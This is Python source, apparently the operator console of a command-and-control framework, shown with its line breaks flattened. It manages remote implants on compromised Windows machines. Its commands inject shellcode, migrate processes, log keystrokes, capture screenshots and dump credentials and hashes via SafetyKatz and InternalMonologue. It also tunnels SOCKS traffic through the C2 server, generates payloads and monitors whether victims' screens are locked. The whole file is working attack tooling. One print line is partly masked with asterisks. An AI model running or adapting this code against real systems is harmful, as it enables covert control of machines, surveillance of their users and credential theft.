def do_get_screenshot(user, command, randomuri): pwrStatus = get_powerstatusbyrandomuri(randomuri) if (pwrStatus is not None and pwrStatus[7]): ri = input("[!] Screen is reported as LOCKED, do you still want to attempt a screenshot? (y/N) ") if ri.lower() == "n" or ri.lower() == "": return new_task(command, user, randomuri)
def getpowerstatus(randomuri): pwrStatus = get_powerstatusbyrandomuri(randomuri) if (pwrStatus is not None): if (pwrStatus[9] is not None and pwrStatus[9] != ""): print("[+] Power status @ %s" % pwrStatus[9]) else: print("[+] Power status") if (pwrStatus[2] is not None and pwrStatus[2] != ""): print("apmstatus: %s" % pwrStatus[2]) if (pwrStatus[3]): if (not pwrStatus[4]): print("BATTERY: Not Charging") else: print("BATTERY: Charging") else: print("BATTERY: Discharging %s%%" % pwrStatus["BatteryPercentLeft"]) if (pwrStatus[5] is not None and pwrStatus[5] != ""): print("BATTERY FLAG: %s" % pwrStatus[5]) if (pwrStatus[7] > 0): print("SCREEN: LOCKED") else: print("SCREEN: UNLOCKED") if (pwrStatus[8]): print("MONITOR: ON") else: print("MONITOR: OFF") else: print("[X] No power status has been recorded for this implant")
def handle_pbind_command(command, user, randomuri, implant_id): # convert randomuri to parent randomuri oldrandomuri = randomuri p = get_implantdetails(randomuri) newimplant_id = re.search(r'(?<=\s)\S*', p.Label).group() if newimplant_id is not None: randomuri = get_randomuri(newimplant_id) # alias mapping for alias in cs_alias: if alias[0] == command[:len(command.rstrip())]: command = alias[1] # alias replace for alias in cs_replace: if command.startswith(alias[0]): command = command.replace(alias[0], alias[1]) original_command = command command = command.strip() run_autoloads_sharp(command, randomuri, user, isPBind=True) if command.startswith("searchhistory"): searchterm = (command).replace("searchhistory ", "") with open('%s/.implant-history' % PoshProjectDirectory) as hisfile: for line in hisfile: if searchterm in line.lower(): print(Colours.GREEN + line.replace("+","")) elif command.startswith("searchhelp"): searchterm = (command).replace("searchhelp ", "") helpful = sharp_help.split('\n') for line in helpful: if searchterm in line.lower(): print(Colours.GREEN + line) elif command.startswith("upload-file"): source = "" destination = "" if command == "upload-file": style = Style.from_dict({ '': '#80d130', }) session = PromptSession(history=FileHistory('%s/.upload-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: source = session.prompt("Location file to upload: ", completer=FilePathCompleter(PayloadsDirectory, glob="*")) source = PayloadsDirectory + source except KeyboardInterrupt: return while not os.path.isfile(source): print("File does not exist: %s" % source) source = session.prompt("Location file to upload: ", completer=FilePathCompleter(PayloadsDirectory, glob="*")) source = PayloadsDirectory + source destination = session.prompt("Location to upload to: ") else: args = argp(command) source = args.source destination = args.destination try: destination = destination.replace("\\", "\\\\") print("") print("Uploading %s to %s" % (source, destination)) uploadcommand = f"upload-file {source} {destination}" new_task(f"pbind-command {uploadcommand}", user, randomuri) except Exception as e: print_bad("Error with source file: %s" % e) traceback.print_exc() elif command.startswith("unhide-implant"): unhide_implant(oldrandomuri) elif command.startswith("hide-implant"): kill_implant(oldrandomuri) elif command.startswith("inject-shellcode"): params = re.compile("inject-shellcode", re.IGNORECASE) params = params.sub("", command) style = Style.from_dict({ '': '#80d130', }) session = PromptSession(history=FileHistory('%s/.shellcode-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: path = session.prompt("Location of shellcode file: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.bin")) path = PayloadsDirectory + path except KeyboardInterrupt: return try: shellcodefile = load_file(path) if shellcodefile is not None: new_task("pbind-command run-exe Core.Program Core Inject-Shellcode %s%s #%s" % (base64.b64encode(shellcodefile).decode("utf-8"), params, os.path.basename(path)), user, randomuri) except Exception as e: print("Error loading file: %s" % e) elif command.startswith("migrate"): params = re.compile("migrate", re.IGNORECASE) params = params.sub("", command) migrate(randomuri, user, params) elif command == "kill-implant" or command == "exit": impid = get_implantdetails(randomuri) ri = input("Are you sure you want to terminate the implant ID %s? (Y/n) " % impid.ImplantID) if ri.lower() == "n": print("Implant not terminated") if ri == "" or ri.lower() == "y": new_task("pbind-kill", user, randomuri) kill_implant(oldrandomuri) elif command == "sharpsocks": from random import choice allchar = string.ascii_letters channel = "".join(choice(allchar) for x in range(25)) sharpkey = gen_key().decode("utf-8") sharpurls = get_sharpurls() sharpurls = sharpurls.split(",") sharpurl = select_item("HostnameIP", "C2Server") print("sharpsocks -c=%s -k=%s --verbose -l=%s\r\n" % (channel, sharpkey, SocksHost) + Colours.GREEN) ri = input("Are you ready to start the SharpSocks in the implant? (Y/n) ") if ri.lower() == "n": print("") if ri == "": new_task("pbind-command run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 2000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken" % (sharpurl, channel, sharpkey, sharpurls[0].replace("\"", ""), sharpurls[1].replace("\"", "")), user, randomuri) if ri.lower() == "y": new_task("pbind-command run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 2000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken" % (sharpurl, channel, sharpkey, sharpurls[0].replace("\"", ""), sharpurls[1].replace("\"", "")), user, randomuri) elif (command.startswith("stop-keystrokes")): new_task("pbind-command run-exe Logger.KeyStrokesClass Logger %s" % command, user, randomuri) update_label("", randomuri) elif (command.startswith("start-keystrokes")): check_module_loaded("Logger.exe", randomuri, user) new_task("pbind-command run-exe Logger.KeyStrokesClass Logger %s" % command, user, randomuri) update_label("KEYLOG", randomuri) elif (command.startswith("get-keystrokes")): new_task("pbind-command run-exe Logger.KeyStrokesClass Logger %s" % command, user, randomuri) elif (command.startswith("get-screenshotmulti")): pwrStatus = get_powerstatusbyrandomuri(randomuri) if (pwrStatus is not None and pwrStatus[7]): ri = input("[!] Screen is reported as LOCKED, do you still want to attempt a screenshot? (y/N) ") if ri.lower() == "n" or ri.lower() == "": return new_task(f"pbind-command {command}", user, randomuri) update_label("SCREENSHOT", randomuri) elif (command.startswith("get-screenshot")): pwrStatus = get_powerstatusbyrandomuri(randomuri) if (pwrStatus is not None and pwrStatus[7]): ri = input("[!] Screen is reported as LOCKED, do you still want to attempt a screenshot? (y/N) ") if ri.lower() == "n" or ri.lower() == "": return new_task(f"pbind-command {command}", user, randomuri) elif (command == "get-powerstatus"): getpowerstatus(randomuri) new_task("pbind-command run-dll PwrStatusTracker.PwrFrm PwrStatusTracker GetPowerStatusResult ", user, randomuri) elif (command == "getpowerstatus"): getpowerstatus(randomuri) new_task("pbind-command run-dll PwrStatusTracker.PwrFrm PwrStatusTracker GetPowerStatusResult ", user, randomuri) elif (command.startswith("stop-powerstatus")): new_task(f"pbind-command {command}", user, randomuri) update_label("", randomuri) elif (command.startswith("stoppowerstatus")): new_task(f"pbind-command {command}", user, randomuri) update_label("", randomuri) elif (command.startswith("pslo")): new_task(f"pbind-{command}", user, randomuri) elif (command.startswith("run-exe SharpWMI.Program")) and "execute" in command and "payload" not in command: style = Style.from_dict({'': '#80d130'}) session = PromptSession(history=FileHistory('%s/.shellcode-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: path = session.prompt("Location of base64 vbs/js file: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.b64")) path = PayloadsDirectory + path except KeyboardInterrupt: return if os.path.isfile(path): with open(path, "r") as p: payload = p.read() new_task("pbind-command %s payload=%s" % (command,payload), user, randomuri) else: print_bad("Could not find file") elif (command.startswith("get-hash")): check_module_loaded("InternalMonologue.exe", randomuri, user) new_task("pbind-command run-exe InternalMonologue.Program InternalMonologue", user, randomuri) elif (command.startswith("safetykatz")): new_task("pbind-command run-exe SafetyKatz.Program %s" % command, user, randomuri) elif command.startswith("loadmoduleforce"): params = re.compile("loadmoduleforce ", re.IGNORECASE) params = params.sub("", command) new_task("pbind-loadmodule %s" % params, user, randomuri) elif command.startswith("loadmodule"): params = re.compile("loadmodule ", re.IGNORECASE) params = params.sub("", command) new_task("pbind-loadmodule %s" % params, user, randomuri) elif command.startswith("listmodules"): modules = os.listdir("%s/Modules/" % PoshInstallDirectory) modules = sorted(modules, key=lambda s: s.lower()) print("") print("[+] Available modules:") print("") for mod in modules: if (".exe" in mod) or (".dll" in mod): print(mod) elif command.startswith("modulesloaded"): ml = get_implantdetails(randomuri) print(ml.ModsLoaded) new_task("pbind-command listmodules", user, randomuri) elif command == "help" or command == "?": print(sharp_help) elif command.startswith("beacon") or command.startswith("set-beacon") or command.startswith("setbeacon"): new_sleep = command.replace('set-beacon ', '') new_sleep = new_sleep.replace('setbeacon ', '') new_sleep = new_sleep.replace('beacon ', '').strip() if not validate_sleep_time(new_sleep): print(Colours.RED) print("Invalid sleep command, please specify a time such as 50s, 10m or 1h") print(Colours.GREEN) else: new_task(f"pbind-command {command}", user, randomuri) else: if command: new_task(f"pbind-command {original_command}", user, randomuri) return
def implant_handler_command_loop(user, printhelp="", autohide=None): while (True): session = PromptSession(history=FileHistory('%s/.top-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory()) try: if user is not None: print("User: "******"%s%s" % (user, Colours.GREEN)) print() C2 = get_c2server_all() killdate = datetime.strptime(C2.KillDate, '%Y-%m-%d').date() datedifference = number_of_days(date.today(), killdate) if datedifference < 8: print(Colours.RED + ("\nKill Date is - %s - expires in %s days" % (C2.KillDate, datedifference))) print(Colours.END) print() implants = get_implants() if implants: for implant in implants: ID = implant.ImplantID LastSeen = implant.LastSeen Hostname = implant.Hostname Domain = implant.Domain URLID = implant.URLID DomainUser = implant.User Arch = implant.Arch PID = implant.PID Pivot = implant.Pivot Sleep = implant.Sleep.strip() Label = implant.Label apmsuspendshut = False pwrStatus = get_powerstatusbyrandomuri(implant.RandomURI) if pwrStatus is not None: if Label is not None: Label += " " else: Label = "" apmstatus = pwrStatus[2].lower() if (apmstatus == "shutdown"): Label += "SHTDWN " apmsuspendshut = True elif (apmstatus == "suspend" or apmstatus == "querysuspend"): Label += "SUSPND " apmsuspendshut = True if not apmsuspendshut: if (pwrStatus[7]): Label += "LOCKED " if (not pwrStatus[8]): Label += "SCRN OFF " if (not pwrStatus[3]): if (pwrStatus[6] is not None and pwrStatus[6].isdigit()): Label += ("DSCHRG: %s%% " % pwrStatus[6]) else: Label += ("DSCHRG ") Pivot = get_implant_type_prompt_prefix(ID) LastSeenTime = datetime.strptime(LastSeen, "%Y-%m-%d %H:%M:%S") LastSeenTimeString = datetime.strftime( LastSeenTime, "%Y-%m-%d %H:%M:%S") now = datetime.now() if (Sleep.endswith('s')): sleep_int = int(Sleep[:-1]) elif (Sleep.endswith('m')): sleep_int = int(Sleep[:-1]) * 60 elif (Sleep.endswith('h')): sleep_int = int(Sleep[:-1]) * 60 * 60 else: print(Colours.RED) print("Incorrect sleep format: %s" % Sleep) print(Colours.GREEN) continue nowMinus3Beacons = now - timedelta(seconds=(sleep_int * 3)) nowMinus10Beacons = now - timedelta(seconds=(sleep_int * 10)) nowMinus30Beacons = now - timedelta(seconds=(sleep_int * 30)) sID = "[" + str(ID) + "]" if not Label: sLabel = "" else: Label = Label.strip() sLabel = Colours.BLUE + "[" + Label + "]" + Colours.GREEN if "C#;PB" in Pivot: print( Colours.BLUE + "%s: Seen:%s | PID:%s | %s | PBind | %s\\%s @ %s (%s) %s %s" % (sID.ljust(4), LastSeenTimeString, PID.ljust(5), Sleep, Domain, DomainUser, Hostname, Arch, Pivot, sLabel)) elif nowMinus30Beacons > LastSeenTime and autohide: pass elif nowMinus10Beacons > LastSeenTime: print( Colours.RED + "%s: Seen:%s | PID:%s | %s | URLID: %s | %s\\%s @ %s (%s) %s %s" % (sID.ljust(4), LastSeenTimeString, PID.ljust(5), Sleep, URLID, Domain, DomainUser, Hostname, Arch, Pivot, sLabel)) elif nowMinus3Beacons > LastSeenTime: print( Colours.YELLOW + "%s: Seen:%s | PID:%s | %s | URLID: %s | %s\\%s @ %s (%s) %s %s" % (sID.ljust(4), LastSeenTimeString, PID.ljust(5), Sleep, URLID, Domain, DomainUser, Hostname, Arch, Pivot, sLabel)) else: print( Colours.GREEN + "%s: Seen:%s | PID:%s | %s | URLID: %s | %s\\%s @ %s (%s) %s %s" % (sID.ljust(4), LastSeenTimeString, PID.ljust(5), Sleep, URLID, Domain, DomainUser, Hostname, Arch, Pivot, sLabel)) else: now = datetime.now() print(Colours.RED + "No Implants as of: %s" % now.strftime("%Y-%m-%d %H:%M:%S")) if printhelp: print(printhelp) command = session.prompt( "\nSelect ImplantID or ALL or Comma Separated List (Enter to refresh):: ", completer=FirstWordFuzzyWordCompleter(SERVER_COMMANDS, WORD=True)) print("") command = command.strip() if (command == "") or (command == "back") or (command == "clear"): do_back(user, command) continue if command.startswith("generate-reports"): do_generate_reports(user, command) continue if command.startswith("generate-csvs"): do_generate_csvs(user, command) continue if command.startswith("message "): do_message(user, command) continue if command.startswith("show-hosted-files"): do_show_hosted_files(user, command) continue if command.startswith("add-hosted-file"): do_add_hosted_file(user, command) continue if command.startswith("disable-hosted-file"): do_disable_hosted_file(user, command) continue if command.startswith("enable-hosted-file"): do_enable_hosted_file(user, command) continue if command.startswith("show-urls") or command.startswith( "list-urls"): do_show_urls(user, command) continue if command.startswith("add-autorun"): do_add_autorun(user, command) continue if command.startswith("list-autorun"): do_list_autoruns(user, command) continue if command.startswith("del-autorun"): do_del_autorun(user, command) continue if command.startswith("nuke-autorun"): do_nuke_autoruns(user, command) continue if command.startswith("kill"): do_del_task(user, command) continue if (command == "automigrate-frompowershell") or (command == "am"): do_automigrate_frompowershell(user, command) continue if command.startswith("show-serverinfo"): do_show_serverinfo(user, command) continue if command.startswith("turnoff-notifications"): do_turnoff_notifications(user, command) continue if command.startswith("turnon-notifications"): do_turnon_notifications(user, command) continue if command.startswith("set-pushover-applicationtoken"): do_set_pushover_applicationtoken(user, command) continue if command.startswith("set-pushover-userkeys"): do_set_pushover_userkeys(user, command) continue if command.startswith("get-killdate"): do_get_killdate(user, command) continue if command.startswith("set-killdate"): do_set_killdate(user, command) continue if command.startswith("set-defaultbeacon"): do_set_defaultbeacon(user, command) continue if command == "get-opsec-events": do_get_opsec_events(user, command) continue if command == "add-opsec-event": do_insert_opsec_events(user, command) continue if command == "del-opsec-event": do_del_opsec_events(user, command) continue if command.startswith("opsec"): do_opsec(user, command) continue if command.startswith("listmodules"): do_listmodules(user, command) continue if command.startswith('creds ') or command.strip() == "creds": do_creds(user, command) input("Press Enter to continue...") clear() continue if (command == "pwnself") or (command == "p"): do_pwnself(user, command) continue if command == "tasks": do_tasks(user, command) continue if command == "cleartasks": do_cleartasks(user, command) continue if command.startswith("quit"): do_quit(user, command) continue if command.startswith("createdaisypayload"): do_createdaisypayload(user, command) continue if command.startswith("createproxypayload"): do_createnewpayload(user, command) continue if command.startswith("createnewpayload"): do_createnewpayload(user, command) continue if command.startswith("createnewshellcode"): do_createnewpayload(user, command, shellcodeOnly=True) continue if command == "help": do_help(user, command) continue if command == "history": do_history(user, command) continue if command.startswith("use "): do_use(user, command) implant_command_loop(command, user) except KeyboardInterrupt: clear() continue except EOFError: new_c2_message("%s logged off." % user) sys.exit(0) except Exception as e: if 'unable to open database file' not in str(e): print_bad("Error: %s" % e) traceback.print_exc()
def create_if_no_status_for_uri(RandomURI): result = get_powerstatusbyrandomuri(RandomURI) if result is None: insert_blankpowerstatus(RandomURI)
def translate_power_status(status, RandomURI): if "Power Status Monitoring:" in status: print(status) elif ":" in status: create_if_no_status_for_uri(RandomURI) splt = status.split(":") if splt[0] == "WM_QUERYENDSESSION": print( "[!] SHUTDOWN may be imminent. Query End Session has been called:" ) elif splt[0] == "WM_WTSSESSION_CHANGE": if splt[1] == "CONSOLE_CONNECT": print("[+] Console session has been connected to") elif splt[1] == "CONSOLE_DISCONNECT": print("[-]Console session has been disconnected from ") elif splt[1] == "REMOTE_CONNECT": print( "[+] Remote connection has been made to the machine (RDP)") elif splt[1] == "REMOTE_DISCONNECT": print("[-] Remote connection has been dropped (RDP)") elif splt[1] == "SESSION_LOGON": print("[+] A user has logged on") elif splt[1] == "SESSION_LOGOFF": print("[!] A user has logged off") elif splt[1] == "SESSION_LOCK": print("[!] Session has been locked") update_screenlocked(RandomURI, 1) elif splt[1] == "SESSION_UNLOCK": print("[+] Session has been unlocked") update_screenlocked(RandomURI, 0) elif splt[1] == "SESSION_REMOTE_CONTROL": print("[-] Session remote control status has changed") elif splt[0] == "WM_POWERBROADCAST": if splt[1] == "GUID_MONITOR_POWER_ON": if splt[2] == "On": update_monitoron(RandomURI, 1) print("[+] Monitor(screen) has been switched ON") else: update_monitoron(RandomURI, 0) print("[!] Monitor(screen) has been switched OFF") elif splt[1] == "GUID_BATTERY_PERCENTAGE_REMAINING": result = get_powerstatusbyrandomuri(RandomURI) if (splt[2].isdigit()): battperc = int(splt[2]) if (battperc <= 100 and battperc >= 0): if (battperc > 50): print("[+] Battery has %s%% charge" % battperc) elif battperc > 15: print("[!] WARNING: Battery has only %s%% charge" % battperc) elif battperc < 15: print("[!] CRITICAL BATTERY: %s%% charge left" % battperc) update_powerstatus(RandomURI, result[3], result[4], result[5], ("%s%%" % battperc)) else: print("[-] Battery status: UNKNOWN") update_powerstatus(RandomURI, result[3], result[4], result[5], "UNKNOWN") elif splt[1] == "GUID_ACDC_POWER_SOURCE": if splt[2] == "Unplugged": update_acstatus(RandomURI, 0) print( "[!] DISCHARGING the battery now. AC has been unplugged." ) else: if splt[2] == "UPS": print( "[!] UPS powered now. Machine may turn off at any time" ) update_acstatus(RandomURI, 0) elif splt[1] == "PBT_APMBATTERYLOW": print("[!] Low battery reported") result = get_powerstatusbyrandomuri(RandomURI) update_powerstatus(RandomURI, result[3], result[4], "LOW", result[6]) elif splt[1] == "PBT_APMQUERYSUSPEND": print( "[!] SUSPEND may be imminent. QuerySuspend has been called:" ) update_apmstatus(RandomURI, "QUERYSUSPEND") elif splt[1] == "PBT_APMSUSPEND": print("[!] SUSPEND/SLEEP, machine has been hibernated") update_apmstatus(RandomURI, "SUSPEND") elif splt[1] == "PBT_APMRESUMESUSPEND": print("[+] Resume from suspend.") update_apmstatus(RandomURI, "RESUME") elif splt[1] == "PBT_APMPOWERSTATUSCHANGE": lns = status.splitlines(False) result = get_powerstatusbyrandomuri(RandomURI) acpower = result[3] chrging = result[4] stus = result[5] percent = result[6] for i in lns: if i.startswith("GUID_ACDC_POWER_SOURCE:"): if (i[23:] == "Plugged"): print("[+] AC is plugged in") acpower = 1 elif (i[23:] == "Unplugged"): print("[!] AC has been unplugged") acpower = 0 elif (i[23:] == "UPS"): print("[!] Computer is on a UPS") acpower = 0 elif i.startswith("CHRG:"): chrging = (i[5:] == "CHARGING") print("[+] Battery is charging: %s" % chrging) elif i.startswith("PERCENT:"): prcnt = i[8:] if prcnt != "UNKNOWN" and prcnt.isdigit(): percent = ("%s%%" % prcnt) print("[+] Battery Percent: %s" % percent) else: percent = "UNKNOWN" print("[-] Battery Percent: UNKNOWN") elif i.startswith("BATTERY:"): stus = i[8:] if stus is None or status == "": stus = "UNKNOWN" print("[-] Battery Status: UNKNOWN") else: print("[+] Battery Status: %s" % stus) update_powerstatus(RandomURI, acpower, chrging, stus, percent)